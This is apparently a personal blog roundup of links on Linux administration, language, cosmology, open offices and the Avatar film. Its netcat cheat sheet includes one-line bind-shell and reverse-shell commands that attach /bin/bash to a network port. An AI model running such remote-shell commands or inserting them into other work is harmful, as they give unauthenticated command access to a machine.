Okay, you’d think Murphy laws were jokes. But as situation in Ukraine shows most of them are true, aren’t they?

• If something can go wrong, it will.
• Left to themselves, things tend to go from bad to worse.
• When things just can’t get any worse, they will.

All of this really saddens me and spoils good faith in further; but it does demonstrate the essence of real world and people’s desires. Turning though from harsh reality to wonders of virtual world, let’s start with few reminder links:

• How to see what made changes to a file using auditd:

# auditctl -w /etc/passwd -p war -k password-file # ausearch -f /etc/passwd

1 2	# auditctl -w /etc/passwd -p war -k password-file # ausearch -f /etc/passwd

• netcat cheat sheet:

Suppose you want to transfer a file “file.txt” from server A to client B.
Server: $ nc -l 4444 < file.txt
Client: $ nc -n 192.168.1.100 4444 > file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:
Server: $ nc -l 4444 > file.txt
Client: $ nc 192.168.1.100 4444 < file.txt

Remote shell:
Server: $ nc -l 4444 -e /bin/bash -i
Client: $ nc 192.168.1.100 4444

Reverse remote shell:
Server: $ nc -l 4444
Client: $ nc 192.168.1.100 4444 -e /bin/bash

Technology:

• CentOS Project joins forces with Red Hat! Yay!
• I’m an SA. I hate 301 redirects. Here’s why. There’s also few ideas how to undo some of the harm.
• Basic Data Structures and Algorithms in the Linux kernel.
• Ex-AWS engineer on AWS internals, extremely interesting (thanks Serge!)
• Wonderful article on LXC and the way its networking is organised.
• Very nice free bootstrap themes.
• Software in 2014 — Bánffy-Bray criteria for selecting between static and dynamic type systems, everything over HTTP and concurrent, mobile and browser suck, and the client-side is a mess.

English:

• For collection — Murphy’s laws
• Dead, or living too well? Is linguistic inflation insanely awesome?
• Five Rules of Thumb for Polite and Diplomatic Language.

Other:

• Physicist Lawrence Krauss gives a talk on our current picture of the universe, how it will end, and how it could have come from nothing. Very thrilling talk on cosmology:

• Open offices are an unfortunate misunderstanding. New Yorker:

The open office was originally conceived by a team from Hamburg, Germany, in the nineteen-fifties, to facilitate communication and idea flow. But a growing body of evidence suggests that the open office undermines the very things that it was designed to achieve. In June, 1997, a large oil and gas company in western Canada asked a group of psychologists at the University of Calgary to monitor workers as they transitioned from a traditional office arrangement to an open one. The psychologists assessed the employees’ satisfaction with their surroundings, as well as their stress level, job performance, and interpersonal relationships before the transition, four weeks after the transition, and, finally, six months afterward. The employees suffered according to every measure: the new space was disruptive, stressful, and cumbersome, and, instead of feeling closer, coworkers felt distant, dissatisfied, and resentful. Productivity fell.

When the Avatar was first released I was appalled by claims that it was touted as ‘totally original work from the mind of Cameron’. I was sure that many years ago I read strikingly similar story by some of well-known sci-fi writers, but was struggling to remember the name of either the novel or the author. There was the same paraplegic hero who telepathically connected with an artificially created life form in order to explore a harsh planet and get access to its resources. Doesn’t it sound similar to the Avatar’s plot?

Recently I accidentally stumbled upon this novel — that was Poul Anderson’s Call Me Joe, written in (!) 1957. This is a classic sci-fi masterpiece and I would recommend reading it any time.